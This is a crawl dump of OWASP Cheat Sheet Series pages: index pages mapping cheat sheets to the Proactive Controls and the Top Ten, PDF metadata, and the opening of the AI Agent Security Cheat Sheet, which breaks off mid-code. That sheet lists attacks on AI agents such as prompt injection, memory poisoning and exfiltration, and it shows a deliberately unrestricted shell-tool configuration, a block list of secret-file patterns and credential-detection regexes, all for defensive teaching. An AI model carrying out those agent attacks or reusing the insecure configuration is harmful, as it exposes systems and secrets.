Side)](cheatsheets/AJAX_Security_Cheat_Sheet.html#client-side-javascript)\n\n[Cross Site Scripting Prevention Cheat Sheet](cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n\n[DOM based XSS Prevention Cheat Sheet](cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n\n[Injection Prevention Cheat Sheet](cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n\n[Injection Prevention Cheat Sheet in Java](cheatsheets/Injection_Prevention_in_Java_Cheat_Sheet.html)\n\n[LDAP Injection Prevention Cheat Sheet](cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n\n## [C5. Validate All Inputs](https://top10proactive.owasp.org/archive/2018/c5-validate-inputs/)¶\n\n[Bean Validation Cheat Sheet](cheatsheets/Bean_Validation_Cheat_Sheet.html)\n\n[Deserialization Cheat Sheet](cheatsheets/Deserialization_Cheat_Sheet.html)\n\n[DotNet Security Cheat Sheet (HTTP Validation and Encoding)](cheatsheets/DotNet_Security_Cheat_Sheet.html#http-validation-and-encoding)\n\n[DotNet Security Cheat Sheet (A8 Cross site request forgery)](cheatsheets/DotNet_Security_Cheat_Sheet.html#a8-cross-site-request-forgery)\n\n[DotNet Security Cheat Sheet (A10 Unvalidated redirects and forwards)](cheatsheets/DotNet_Security_Cheat_Sheet.html#a10-unvalidated-redirects-and-forwards)\n\n[Input Validation Cheat Sheet](cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n[Injection Prevention Cheat Sheet](cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n\n[Injection Prevention Cheat Sheet in Java](cheatsheets/Injection_Prevention_in_Java_Cheat_Sheet.html)\n\n[Mass Assignment Cheat Sheet](cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n\n[OS Command Injection Defense Cheat Sheet](cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n\n[File Upload Cheat Sheet](cheatsheets/File_Upload_Cheat_Sheet.html)\n\n[REST Security Cheat Sheet (Input Validation)](cheatsheets/REST_Security_Cheat_Sheet.html#input-validation)\n\n[Ruby on Rails Cheat Sheet (Command Injection)](cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#command-injection)\n\n[Ruby on Rails Cheat Sheet (Mass Assignment and Strong Parameters)](cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#mass-assignment-and-strong-parameters)\n\n[Unvalidated Redirects and Forwards Cheat Sheet](cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n[XML External Entity Prevention Cheat Sheet](cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n\n[Server Side Request Forgery Prevention Cheat Sheet](cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n## [C6. Implement Digital Identity](https://top10proactive.owasp.org/archive/2018/c6-digital-identity/)¶\n\n[Authentication Cheat Sheet](cheatsheets/Authentication_Cheat_Sheet.html)\n\n[Choosing and Using Security Questions Cheat Sheet](cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html)\n\n[DotNet Security Cheat Sheet (Forms authentication)](cheatsheets/DotNet_Security_Cheat_Sheet.html#forms-authentication)\n\n[DotNet Security Cheat Sheet (A2 Weak Account management)](cheatsheets/DotNet_Security_Cheat_Sheet.html#a2-weak-account-management)\n\n[Forgot Password Cheat Sheet](cheatsheets/Forgot_Password_Cheat_Sheet.html)\n\n[JAAS Cheat Sheet](cheatsheets/JAAS_Cheat_Sheet.html)\n\n[JSON Web Token Cheat Sheet](cheatsheets/JSON_Web_Token_Cheat_Sheet.html)\n\n[Password Storage Cheat Sheet](cheatsheets/Password_Storage_Cheat_Sheet.html)\n\n[REST Security Cheat Sheet (JWT)](cheatsheets/REST_Security_Cheat_Sheet.html#jwt)\n\n[Ruby on Rails Cheat Sheet (Sessions)](cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#sessions)\n\n[Ruby on Rails Cheat Sheet (Authentication)](cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#authentication)\n\n[SAML Security Cheat Sheet](cheatsheets/SAML_Security_Cheat_Sheet.html)\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n[Multi-Factor Authentication Cheat Sheet](cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)\n\n## [C7. Enforce Access Controls](https://top10proactive.owasp.org/archive/2018/c7-enforce-access-controls/)¶\n\n[Access Control Cheat Sheet](cheatsheets/Access_Control_Cheat_Sheet.html)\n\n[Authorization Testing Automation](cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html)\n\n[Credential Stuffing Prevention Cheat Sheet](cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n\n[Cross-Site_Request_Forgery_Prevention_Cheat_Sheet](cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[DotNet Security Cheat Sheet (A4 Insecure Direct object references)](cheatsheets/DotNet_Security_Cheat_Sheet.html#a4-insecure-direct-object-references)\n\n[DotNet Security Cheat Sheet (A7 Missing function level access control)](cheatsheets/DotNet_Security_Cheat_Sheet.html#a7-missing-function-level-access-control)\n\n[REST Security Cheat Sheet (Access Control)](cheatsheets/REST_Security_Cheat_Sheet.html#access-control)\n\n[Ruby on Rails Cheat Sheet (Insecure Direct Object Reference or Forceful Browsing)](cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#insecure-direct-object-reference-or-forceful-browsing)\n\n[Ruby on Rails Cheat Sheet (CSRF)](cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#csrf-cross-site-request-forgery)\n\n[Insecure Direct Object Reference Prevention Cheat Sheet](cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html)\n\n[Transaction Authorization Cheat Sheet](cheatsheets/Transaction_Authorization_Cheat_Sheet.html)\n\n[Multi-Factor Authentication Cheat Sheet](cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)\n\n## [C8. Protect Data Everywhere](https://top10proactive.owasp.org/archive/2018/c8-protect-data-everywhere/)¶\n\n[Cryptographic Storage Cheat Sheet](cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n\n[DotNet Security Cheat Sheet (Encryption)](cheatsheets/DotNet_Security_Cheat_Sheet.html#encryption)\n\n[DotNet Security Cheat Sheet (A6 Sensitive data exposure)](cheatsheets/DotNet_Security_Cheat_Sheet.html#a6-sensitive-data-exposure)\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n[Key Management Cheat Sheet](cheatsheets/Key_Management_Cheat_Sheet.html)\n\n[HTTP Strict Transport Security Cheat Sheet](cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n\n[Pinning Cheat Sheet](cheatsheets/Pinning_Cheat_Sheet.html)\n\n[REST Security Cheat Sheet (HTTPS)](cheatsheets/REST_Security_Cheat_Sheet.html#https)\n\n[Ruby on Rails Cheat Sheet (Encryption)](cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#encryption)\n\n[User Privacy Protection Cheat Sheet](cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n\n## [C9. Implement Security Logging and Monitoring](https://top10proactive.owasp.org/archive/2018/c9-security-logging/)¶\n\n[REST Security Cheat Sheet (Audit Logs)](cheatsheets/REST_Security_Cheat_Sheet.html#audit-logs)\n\n[Logging Cheat Sheet](cheatsheets/Logging_Cheat_Sheet.html)\n\n## [C10. Handle All Errors and Exceptions](https://top10proactive.owasp.org/archive/2018/c10-errors-exceptions/)¶\n\n[REST Security Cheat Sheet (Error Handling)](cheatsheets/REST_Security_Cheat_Sheet.html#error-handling)\n\n[Error Handling Cheat Sheet](cheatsheets/Error_Handling_Cheat_Sheet.html)", "znaku_textu": 9242, "slov": 650, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:29", "sha256": "1a24e6663baa2dddc7cb0e334735c728538c167f16f161aa2274aea6319b4d4d", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://top10proactive.owasp.org/archive/2018/0x02-about-project/", "https://top10proactive.owasp.org/archive/2018/c1-security-requirements/", "https://top10proactive.owasp.org/archive/2018/c2-leverage-security-frameworks-libraries/", "https://top10proactive.owasp.org/archive/2018/c3-secure-database/", "https://top10proactive.owasp.org/archive/2018/c4-encode-escape-data/", "https://top10proactive.owasp.org/archive/2018/c5-validate-inputs/", "https://top10proactive.owasp.org/archive/2018/c6-digital-identity/", "https://top10proactive.owasp.org/archive/2018/c7-enforce-access-controls/", "https://top10proactive.owasp.org/archive/2018/c8-protect-data-everywhere/", "https://top10proactive.owasp.org/archive/2018/c9-security-logging/", "https://top10proactive.owasp.org/archive/2018/c10-errors-exceptions/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/IndexTopTen.html", "titulek": "Index Top 10 - OWASP Cheat Sheet Series", "h1": "OWASP Top Ten 2021 : Related Cheat Sheets¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/IndexTopTen.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 2, "text": "A01:2021 – Broken Access Control¶"}, {"uroven": 2, "text": "A02:2021 – Cryptographic Failures¶"}, {"uroven": 2, "text": "A03:2021 – Injection¶"}, {"uroven": 2, "text": "A04:2021 – Insecure Design¶"}, {"uroven": 2, "text": "A05:2021 – Security Misconfiguration¶"}, {"uroven": 2, "text": "A06:2021 – Vulnerable and Outdated Components¶"}, {"uroven": 2, "text": "A07:2021 – Identification and Authentication Failures¶"}, {"uroven": 2, "text": "A08:2021 – Software and Data Integrity Failures¶"}, {"uroven": 2, "text": "A09:2021 – Security Logging and Monitoring Failures¶"}, {"uroven": 2, "text": "A10:2021 – Server-Side Request Forgery (SSRF)¶"}, {"uroven": 2, "text": "A11:2021 – Next Steps¶"}], "markdown": "The [OWASP Top Ten](https://owasp.org/www-project-top-ten/) is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.\n\nThis cheat sheet will help users of the [OWASP Top Ten](https://owasp.org/Top10/) identify which cheat sheets map to each security category. This mapping is based the [OWASP Top Ten 2021 version](https://owasp.org/Top10/#welcome-to-the-owasp-top-10-2021).\n\n## [A01:2021 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)¶\n\n- [Authorization Cheat Sheet](cheatsheets/Authorization_Cheat_Sheet.html)\n- [Insecure Direct Object Reference Prevention Cheat Sheet](cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html)\n- [Transaction Authorization Cheat Sheet](cheatsheets/Transaction_Authorization_Cheat_Sheet.html)\n- [Cross-Site Request Forgery Prevention Cheat Sheet](cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n## [A02:2021 – Cryptographic Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)¶\n\n- [Cryptographic Storage Cheat Sheet](cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n- [HTTP Strict Transport Security Cheat Sheet](cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [Secrets Management Cheat Sheet](cheatsheets/Secrets_Management_Cheat_Sheet.html)\n- [Key Management Cheat Sheet](cheatsheets/Key_Management_Cheat_Sheet.html)\n- [Pinning Cheat Sheet](cheatsheets/Pinning_Cheat_Sheet.html)\n\n## [A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/)¶\n\n- [Injection Prevention Cheat Sheet](cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [LDAP Injection Prevention Cheat Sheet](cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n- [OS Command Injection Defense Cheat Sheet](cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n- [Injection Prevention in Java Cheat Sheet](cheatsheets/Injection_Prevention_in_Java_Cheat_Sheet.html)\n- [SQL Injection Prevention Cheat Sheet](cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- [Query Parameterization Cheat Sheet](cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [Cross Site Scripting Prevention Cheat Sheet](cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [DOM based XSS Prevention Cheat Sheet](cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n- [XSS Filter Evasion Cheat Sheet](cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)\n- [Content Security Policy Cheat Sheet](cheatsheets/Content_Security_Policy_Cheat_Sheet.html)\n\n## [A04:2021 – Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/)¶\n\n- [Threat Modeling Cheat Sheet](cheatsheets/Threat_Modeling_Cheat_Sheet.html)\n- [Abuse Case Cheat Sheet](cheatsheets/Abuse_Case_Cheat_Sheet.html)\n- [Attack Surface Analysis Cheat Sheet](cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html)\n\n## [A05:2021 – Security Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/)¶\n\n- [Infrastructure as Code Security Cheat Sheet](cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [XML External Entity Prevention Cheat Sheet](cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n- [PHP Configuration Cheat Sheet](cheatsheets/PHP_Configuration_Cheat_Sheet.html)\n- [Docker Security Cheat Sheet](cheatsheets/Docker_Security_Cheat_Sheet.html)\n\n## [A06:2021 – Vulnerable and Outdated Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/)¶\n\n- [Vulnerable Dependency Management Cheat Sheet](cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n- [Third Party JavaScript Management Cheat Sheet](cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html)\n- [npm Security best practices](cheatsheets/NPM_Security_Cheat_Sheet.html)\n\n## [A07:2021 – Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)¶\n\n- [Authentication Cheat Sheet](cheatsheets/Authentication_Cheat_Sheet.html)\n- [Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n- [Forgot Password Cheat Sheet](cheatsheets/Forgot_Password_Cheat_Sheet.html)\n- [Choosing and Using Security Questions Cheat Sheet](cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html)\n- [Credential Stuffing Prevention Cheat Sheet](cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n- [Denial of Service Cheat Sheet](cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n- [JSON Web Token Cheat Sheet](cheatsheets/JSON_Web_Token_Cheat_Sheet.html)\n- [Multifactor Authentication Cheat Sheet](cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)\n- [Password Storage Cheat Sheet](cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [SAML Security Cheat Sheet](cheatsheets/SAML_Security_Cheat_Sheet.html)\n\n## [A08:2021 – Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)¶\n\n- [Deserialization Cheat Sheet](cheatsheets/Deserialization_Cheat_Sheet.html)\n\n## [A09:2021 – Security Logging and Monitoring Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/)¶\n\n- [Logging Cheat Sheet](cheatsheets/Logging_Cheat_Sheet.html)\n- [Application Logging Vocabulary Cheat Sheet](cheatsheets/Logging_Vocabulary_Cheat_Sheet.html)\n\n## [A10:2021 – Server-Side Request Forgery (SSRF)](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)¶\n\n- [Server Side Request Forgery Prevention Cheat Sheet](cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n## [A11:2021 – Next Steps](https://owasp.org/Top10/A11_2021-Next_Steps/)¶\n\n- [Denial of Service Cheat Sheet](cheatsheets/Denial_of_Service_Cheat_Sheet.html)", "znaku_textu": 5743, "slov": 354, "odkazu": 156, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:30", "sha256": "3cc42d64b93009379f19d53aa013f688c16464891f88aca06141379ab38ee430", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/www-project-top-ten/", "https://owasp.org/Top10/", "https://owasp.org/Top10/A01_2021-Broken_Access_Control/", "https://owasp.org/Top10/A02_2021-Cryptographic_Failures/", "https://owasp.org/Top10/A03_2021-Injection/", "https://owasp.org/Top10/A04_2021-Insecure_Design/", "https://owasp.org/Top10/A05_2021-Security_Misconfiguration/", "https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/", "https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/", "https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/", "https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/", "https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_(SSRF)/", "https://owasp.org/Top10/A11_2021-Next_Steps/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/assets/Deserialization_Cheat_Sheet_GOD16Deserialization.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 2841990, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:35", "sha256": "ff586547fdb33d421e535781ec4c554f200483dd5f605919b802df982edc3197", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://cheatsheetseries.owasp.org/assets/REST_Security_Cheat_Sheet_Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 619675, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:39", "sha256": "89c79276bb60d2a827a2b05125ffbdfb1c71292138a852beeb9e94a711e853bb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_Orange_Tsai_Talk.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 5425882, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:47", "sha256": "7d30784844c54856c784460ef71f92e3d1f8a64608184454c19905ce26f82b86", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 198059, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:50", "sha256": "fa1e3b391bab6a43d0d1ef29ba62d5877dd1fee2486c27da95c0df91a7237677", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/AI_Agent_Security_Cheat_Sheet.html", "titulek": "AI Agent Security - OWASP Cheat Sheet Series", "h1": "AI Agent Security Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/AI_Agent_Security_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "AI Agent Security Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Key Risks¶"}, {"uroven": 2, "text": "Best Practices¶"}, {"uroven": 3, "text": "1. Tool Security & Least Privilege¶"}, {"uroven": 4, "text": "Bad: Over-permissioned Model Context Protocol (MCP) tool configuration¶"}, {"uroven": 4, "text": "Good: Scoped MCP tool with allowlist¶"}, {"uroven": 4, "text": "Tool Authorization Middleware Example (Python)¶"}, {"uroven": 3, "text": "2. Input Validation & Prompt Injection Defense¶"}, {"uroven": 3, "text": "3. Memory & Context Security¶"}, {"uroven": 4, "text": "Bad: Unvalidated memory storage¶"}, {"uroven": 4, "text": "Good: Validated and isolated memory¶"}, {"uroven": 3, "text": "4. Human-in-the-Loop Controls¶"}, {"uroven": 4, "text": "Action Classification and Approval Flow¶"}, {"uroven": 4, "text": "High-Impact Action Integrity Controls¶"}, {"uroven": 3, "text": "5. Output Validation & Guardrails¶"}, {"uroven": 4, "text": "Output Validation Pipeline¶"}, {"uroven": 3, "text": "6. Monitoring & Observability¶"}, {"uroven": 4, "text": "Agent Monitoring¶"}, {"uroven": 3, "text": "7. Multi-Agent Security¶"}, {"uroven": 4, "text": "Secure Multi-Agent Communication¶"}, {"uroven": 3, "text": "8. Data Protection & Privacy¶"}, {"uroven": 4, "text": "Data Classification and Handling¶"}, {"uroven": 3, "text": "9. Secure Agent Testing & Adversarial Validation¶"}, {"uroven": 4, "text": "Abuse-Case Test Matrix¶"}, {"uroven": 4, "text": "CI/CD and Release Gates¶"}, {"uroven": 4, "text": "Validation Evidence¶"}, {"uroven": 2, "text": "Do's and Don'ts¶"}, {"uroven": 2, "text": "References¶"}], "markdown": "# AI Agent Security Cheat Sheet¶\n\n## Introduction¶\n\nAI agents are autonomous systems powered by Large Language Models (LLMs) that can reason, plan, use tools, maintain memory, and take actions to accomplish goals. This expanded capability introduces unique security risks beyond traditional LLM prompt injection. This cheat sheet provides best practices to secure AI agent architectures and minimize attack surfaces.\n\n## Key Risks¶\n\n- **Prompt Injection (Direct & Indirect)** : Malicious instructions injected via user input or external data sources (websites, documents, emails) that hijack agent behavior. (See [LLM Prompt Injection Prevention Cheat Sheet](LLM_Prompt_Injection_Prevention_Cheat_Sheet.html) )\n- **Tool Abuse & Privilege Escalation** : Agents exploiting overly permissive tools to perform unintended actions or access unauthorized resources.\n- **Data Exfiltration** : Sensitive information leaked through tool calls, API requests, or agent outputs.\n- **Memory Poisoning** : Malicious data persisted in agent memory to influence future sessions or other users.\n- **Goal Hijacking** : Manipulating agent objectives to serve attacker purposes while appearing legitimate.\n- **Excessive Autonomy** : Agents taking high-impact actions without appropriate human oversight.\n- **High-Impact Action Abuse** : Agents executing irreversible, financial, administrative, or externally visible operations without independent validation.\n- **Decision and Approval Manipulation** : Attackers influencing risk scores, model confidence, or approval thresholds to bypass safeguards.\n- **Cascading Failures** : Compromised agents in multi-agent systems propagating attacks to other agents.\n- **AI Console Malicious Configuration** : AI developer consoles can be compelled to consume data that contains instructions driving malicious changes to the underlying LLM configuration.\n- **Denial of Wallet (DoW)** : Attacks causing excessive API/compute costs through unbounded agent loops.\n- **Sensitive Data Exposure** : PII, credentials, or confidential data inadvertently included in agent context or logs.\n- **Supply Chain Attacks** : Compromising third-party tools, APIs, or data sources used by agents.\n\n## Best Practices¶\n\n### 1. Tool Security & Least Privilege¶\n\n- Grant agents the minimum tools required for their specific task.\n- Implement per-tool permission scoping (read-only vs. write, specific resources).\n- Use separate tool sets for different trust levels (e.g., internal vs. user-facing agents).\n- Require explicit tool authorization for sensitive operations.\n\n#### Bad: Over-permissioned Model Context Protocol (MCP) tool configuration¶\n\n```\n# Dangerous: Agent has unrestricted shell access tools = [ { \"name\": \"execute_command\", \"description\": \"Execute any shell command\", \"allowed_commands\": \"*\" # No restrictions } ] \n```\n\n#### Good: Scoped MCP tool with allowlist¶\n\n```\n# Safe: Restricted to specific, safe commands tools = [ { \"name\": \"file_reader\", \"description\": \"Read files from the reports directory\", \"allowed_paths\": [\"/app/reports/*\"], \"allowed_operations\": [\"read\"], \"blocked_patterns\": [\"*.env\", \"*.key\", \"*.pem\", \"*secret*\"] } ] \n```\n\n#### Tool Authorization Middleware Example (Python)¶\n\n```\nfrom functools import wraps SENSITIVE_TOOLS = [\"send_email\", \"execute_code\", \"database_write\", \"file_delete\"] def require_confirmation(func): @wraps(func) async def wrapper(tool_name, params, context): if tool_name in SENSITIVE_TOOLS: if not context.get(\"user_confirmed\"): return { \"status\": \"pending_confirmation\", \"message\": f\"Action '{tool_name}' requires user approval\", \"params\": sanitize_for_display(params) } return await func(tool_name, params, context) return wrapper \n```\n\n### 2. Input Validation & Prompt Injection Defense¶\n\n- Treat all external data as untrusted (user messages, retrieved documents, API responses, emails).\n- Implement input sanitization before including external content in agent context.\n- Use delimiters and clear boundaries between instructions and data.\n- Apply content filtering for known injection patterns.\n- Consider using separate LLM calls to validate/summarize untrusted content.\n\nPlease refer to the [LLM Prompt Injection Prevention Cheat Sheet](LLM_Prompt_Injection_Prevention_Cheat_Sheet.html) for detailed techniques.\n\n### 3. Memory & Context Security¶\n\n- Validate and sanitize data before storing in agent memory.\n- Implement memory isolation between users/sessions.\n- Set memory expiration and size limits.\n- Audit memory contents for sensitive data before persistence.\n- Use cryptographic integrity checks for long-term memory.\n\n#### Bad: Unvalidated memory storage¶\n\n```\n# Dangerous: Storing arbitrary user input in persistent memory def save_memory(agent, user_message, assistant_response): agent.memory.add({ \"user\": user_message, # Could contain injection payload \"assistant\": assistant_response, \"timestamp\": datetime.now() }) \n```\n\n#### Good: Validated and isolated memory¶\n\n```\nimport hashlib from datetime import datetime, timedelta class SecureAgentMemory: MAX_MEMORY_ITEMS = 100 MAX_ITEM_LENGTH = 5000 MEMORY_TTL_HOURS = 24 def __init__(self, user_id: str, encryption_key: bytes): self.user_id = user_id self.encryption_key = encryption_key self.memories = [] def add(self, content: str, memory_type: str = \"conversation\"): # Validate content if len(content) > self.MAX_ITEM_LENGTH: content = content[:self.MAX_ITEM_LENGTH] # Scan for sensitive data patterns if self._contains_sensitive_data(content): content = self._redact_sensitive_data(content) # Scan for injection patterns content = self._sanitize_injection_attempts(content) # Create integrity-checked memory entry entry = { \"content\": content, \"type\": memory_type, \"timestamp\": datetime.utcnow().isoformat(), \"user_id\": self.user_id, \"checksum\": self._compute_checksum(content) } self.memories.append(entry) self._enforce_limits() def get_context(self) -> list: \"\"\"Retrieve valid, non-expired memories.\"\"\" valid_memories = [] cutoff = datetime.utcnow() - timedelta(hours=self.MEMORY_TTL_HOURS) for mem in self.memories: mem_time = datetime.fromisoformat(mem[\"timestamp\"]) if mem_time > cutoff and self._verify_checksum(mem): valid_memories.append(mem[\"content\"]) return valid_memories def _contains_sensitive_data(self, content: str) -> bool: sensitive_patterns = [ r'\\b\\d{3}-\\d{2}-\\d{4}\\b', # SSN r'\\b\\d{16}\\b', # Credit card r'password\\s*[:=]\\s*\\S+', # Passwords r'api[_-]?key\\s*[:=]\\s*\\S+' # API keys ] return any(re.search(p, content, re.I) for p in sensitive_patterns) def _compute_checksum(self, content: str) -> str: return hashlib.sha256( (content + self.user_id).encode() + self.encryption_key ).hexdigest()[:16] \n```\n\n### 4. Human-in-the-Loop Controls¶\n\n- Require explicit approval for high-impact or irreversible actions.\n- Implement action previews before execution.\n- Set autonomy boundaries based on action risk levels.\n- Provide clear audit trails of agent decisions and actions.\n- Allow users to interrupt and rollback agent operations.\n\n#### Action Classification and Approval Flow¶\n\n```\nimport uuid from enum import Enum from dataclasses import dataclass class RiskLevel(Enum): LOW = \"low\" # Read operations, safe queries MEDIUM = \"medium\" # Write operations, API calls HIGH = \"high\" # Financial, deletion, external comms CRITICAL = \"critical\" # Irreversible, security-sensitive ACTION_RISK_MAPPING = { \"search_documents\": RiskLevel.LOW, \"read_file\": RiskLevel.LOW, \"write_file\": RiskLevel.MEDIUM, \"send_email\": RiskLevel.HIGH, \"execute_code\": RiskLevel.HIGH, \"database_delete\": RiskLevel.CRITICAL, \"transfer_funds\": RiskLevel.CRITICAL, } @dataclass class PendingAction: action_id: str tool_name: str parameters: dict risk_level: RiskLevel explanation: str class HumanInTheLoopController: def __init__(self, auto_approve_threshold: RiskLevel = RiskLevel.LOW): self.auto_approve_threshold = auto_approve_threshold self.pending_actions = {} async def request_action(self, tool_name: str, params: dict, explanation: 